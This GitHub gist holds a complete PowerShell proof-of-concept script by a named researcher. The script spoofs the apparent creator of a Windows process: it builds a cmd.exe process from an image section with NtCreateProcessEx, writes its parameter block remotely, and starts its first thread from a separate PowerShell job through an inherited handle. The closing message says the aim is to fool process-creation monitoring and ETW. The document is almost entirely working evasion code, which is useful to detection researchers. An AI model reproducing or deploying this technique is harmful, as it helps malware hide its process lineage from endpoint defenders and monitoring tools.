Skip to content

Instantly share code, notes, and snippets.

@Philts
Last active May 13, 2023 23:22
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Philts/2b3b68094d6145c1921c695f6ebc6057 to your computer and use it in GitHub Desktop.
Save Philts/2b3b68094d6145c1921c695f6ebc6057 to your computer and use it in GitHub Desktop.
<# .SYNOPSIS
An example script that shows how to confues Windows about the identity of the creator process using NtCreateProcessEx and an initial thread inserted by some other process.
Most of the code shamelessly ripped from https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1 by Ruben Boonen (@FuzzySec), so be sure to theck this (and him) out.
Only tested on x64 Win10.
.DESCRIPTION
Author: Philip Tsukerman (@PhilipTsukerman)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
$NativeAPI = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct LARGE_INTEGER
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
public static class Exec
{
[DllImport("kernel32.dll")]
public static extern Boolean ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 dwSize,
ref UInt32 lpNumberOfBytesRead);
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateSection(
ref IntPtr section,
UInt32 desiredAccess,
IntPtr pAttrs,
ref LARGE_INTEGER pMaxSize,
uint pageProt,
uint allocationAttribs,
IntPtr hFile);
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateProcessEx(
ref IntPtr ProcessHandle,
UInt32 DesiredAccess,
IntPtr ObjectAttributes,
IntPtr hInheritFromProcess,
uint Flags,
IntPtr SectionHandle,
IntPtr DebugPort,
IntPtr ExceptionPort,
Byte InJob);
[DllImport("ntdll.dll")]
public static extern UInt32 RtlCreateProcessParametersEx(
ref IntPtr pProcessParameters,
IntPtr ImagePathName,
IntPtr DllPath,
IntPtr CurrentDirectory,
IntPtr CommandLine,
IntPtr Environment,
IntPtr WindowTitle,
IntPtr DesktopInfo,
IntPtr ShellInfo,
IntPtr RuntimeData,
UInt32 Flags);
[DllImport("Kernel32.dll")]
public static extern UInt32 GetProcessId(
IntPtr hProcess
);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr CreateFileW(
string filename,
System.IO.FileAccess access,
System.IO.FileShare share,
IntPtr securityAttributes,
System.IO.FileMode creationDisposition,
UInt32 flagsAndAttributes,
IntPtr templateFile
);
[DllImport("kernel32.dll")]
public static extern IntPtr MapViewOfFile(
IntPtr hSection,
UInt32 desiredAccess,
UInt32 dwFileOffsetHigh,
UInt32 dwFileOffsetLow,
UInt32 dwNumberOfBytesToMap
);
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateThreadEx(
ref IntPtr hThread,
UInt32 DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
UInt32 StackZeroBits,
UInt32 SizeOfStackCommit,
UInt32 SizeOfStackReserve,
IntPtr lpBytesBuffer
);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("ntdll.dll")]
public static extern UInt32 NtQueryInformationProcess(
IntPtr processHandle,
UInt32 processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
UInt32 processInformationLength,
ref UInt32 returnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
int flAllocationType,
int flProtect);
[DllImport("kernel32.dll")]
public static extern Boolean WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 nSize,
ref UInt32 lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
uint dwDesiredAccess,
bool bInheritHandle,
uint dwOptions);
}
"@
Add-Type -TypeDefinition $NativeAPI
function Emit-UNICODE_STRING {
param(
[String]$Data
)
$UnicodeObject = New-Object UNICODE_STRING
$UnicodeObject_Buffer = $Data
[UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2
[UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1
[IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer)
[IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16) # enough for x32/x64
[system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true)
$InMemoryStruct
}
function Set-RemoteProcessParameters {
param(
$hProcess,
$rPEB
)
# Create Unicode process parameter strings
$uTargetPath = Emit-UNICODE_STRING -Data "C:\Windows\System32\cmd.exe"
$uDllDir = Emit-UNICODE_STRING -Data "C:\Windows\System32"
$uCurrentDir = Emit-UNICODE_STRING -Data "C:\Windows\System32"
$uWindowName = Emit-UNICODE_STRING -Data "cmd"
# Create process parameters struct
$pProcessParameters = [IntPtr]::Zero
$CallResult = [Exec]::RtlCreateProcessParametersEx([ref]$pProcessParameters,$uTargetPath,$uDllDir,$uCurrentDir,$uTargetPath,[IntPtr]::Zero,$uWindowName,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,1)
if ($CallResult -ne 0) {
$false
Return
}
$ProcParamsLength = [System.Runtime.InteropServices.Marshal]::ReadInt32($($pProcessParameters.ToInt64())+4)
[IntPtr]$HollowProcParams = [Exec]::VirtualAllocEx($hProcess,$pProcessParameters,$ProcParamsLength,0x3000,0x4)
if ($HollowProcParams -eq [IntPtr]::Zero) {
$false
Return
}
$BytesWritten = 0
$CallResult = [Exec]::WriteProcessMemory($hProcess,$pProcessParameters,$pProcessParameters,$ProcParamsLength,[ref]$BytesWritten)
[IntPtr]$rProcParamOffset = $rPEB + 0x20
$WriteSize = 8
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteSize)
[System.Runtime.InteropServices.Marshal]::WriteInt64($lpBuffer.ToInt64(),$pProcessParameters.ToInt64())
$BytesWritten = 0
$CallResult = [Exec]::WriteProcessMemory($hProcess,$rProcParamOffset,$lpBuffer,$WriteSize,[ref]$BytesWritten)
if (!$CallResult) {
$false
Return
}
}
function Get-PBI {
param(
[IntPtr]$hProcess
)
$PROCESS_BASIC_INFORMATION = New-Object PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
[UInt32]$RetLen = 0
$CallResult = [Exec]::NtQueryInformationProcess($hProcess,0,[ref]$PROCESS_BASIC_INFORMATION,$PROCESS_BASIC_INFORMATION_Size, [ref]$RetLen)
if ($CallResult -ne 0) {
$false
} else {
$PROCESS_BASIC_INFORMATION
}
}
Write-Host "[*] Started running from PowerShell with PID $pid"
Write-Host "[*] Creating a SEC_IMAGE section from c:\windows\system32\cmd.exe"
$largeInteger = New-Object LARGE_INTEGER
$hProcess = [IntPtr]::Zero
$hSection = [IntPtr]::Zero
$hFile = [Exec]::CreateFileW('\\?\c:\windows\system32\cmd.exe', [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, [System.IntPtr]::Zero, [System.IO.FileMode]::Open, [System.UInt32]0x80, [System.IntPtr]::Zero)
$result = [Exec]::NtCreateSection([ref]$hSection, 0xF001F, [IntPtr]::Zero, [ref]$largeInteger, 2,0x1000000,$hFile)
Write-Host "[*] Creating a new process from the section using NtCreateProcessEx"
$result = [Exec]::NtCreateProcessEx([ref]$hProcess,0x1FFFFF,[IntPtr]::Zero,[IntPtr]-1 ,4,$hSection,[IntPtr]::Zero,[IntPtr]::Zero,0)
$mappedImage = [Exec]::MapViewOfFile($hSection, 4, 0, 0, 0)
$e_lfanew = [System.Runtime.InteropServices.Marshal]::ReadInt32($($mappedImage.ToInt64() + 0x3C))
$ImageFileHeader = $mappedImage.ToInt64() + $e_lfanew
$OptionalHeader = $ImageFileHeader + 0x18
[UInt32]$EntryPoint = [System.Runtime.InteropServices.Marshal]::ReadInt32($($OptionalHeader + 0x10))
$startAddress = $mappedImage.ToInt64() + $EntryPoint
Write-Host "[*] Copying process parameter block to the target process"
$ProcessBasicInformation = Get-PBI -hProcess $hProcess
$SponsorPEBAddress = $ProcessBasicInformation.PebBaseAddress.ToInt64()
$CallResult = Set-RemoteProcessParameters -hProcess $hProcess -rPEB $SponsorPEBAddress
Write-Host "[*] Getting an inheritable handle to the target process "
$inheritableHandle = [IntPtr]::Zero
$result = [Exec]::DuplicateHandle([IntPtr]-1, $hProcess,[IntPtr]-1, [ref]$InheritableHandle, 0, $true, 0x00000002)
$inheritableHandle = $inheritableHandle.ToInt64()
$jobBlock =
{
Add-Type -TypeDefinition $Using:NativeAPI
$threadId = [IntPtr]::Zero
$hThread = [Exec]::CreateRemoteThread([IntPtr]$Using:inheritableHandle, [IntPtr]::Zero, 0, [IntPtr]$Using:startAddress, [IntPtr]::Zero, 0, $threadId )
$targetPid = [Exec]::GetProcessId([IntPtr]$Using:inheritableHandle)
return @"
[*] Started a new thread in the cmd.exe process $targetPid using powershell.exe with PID $pid.
[*] Check your process creation routines and ETWs :)
"@
}
$job = Start-Job -ScriptBlock $jobBlock | Wait-Job
Write-Host (Receive-Job $job)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment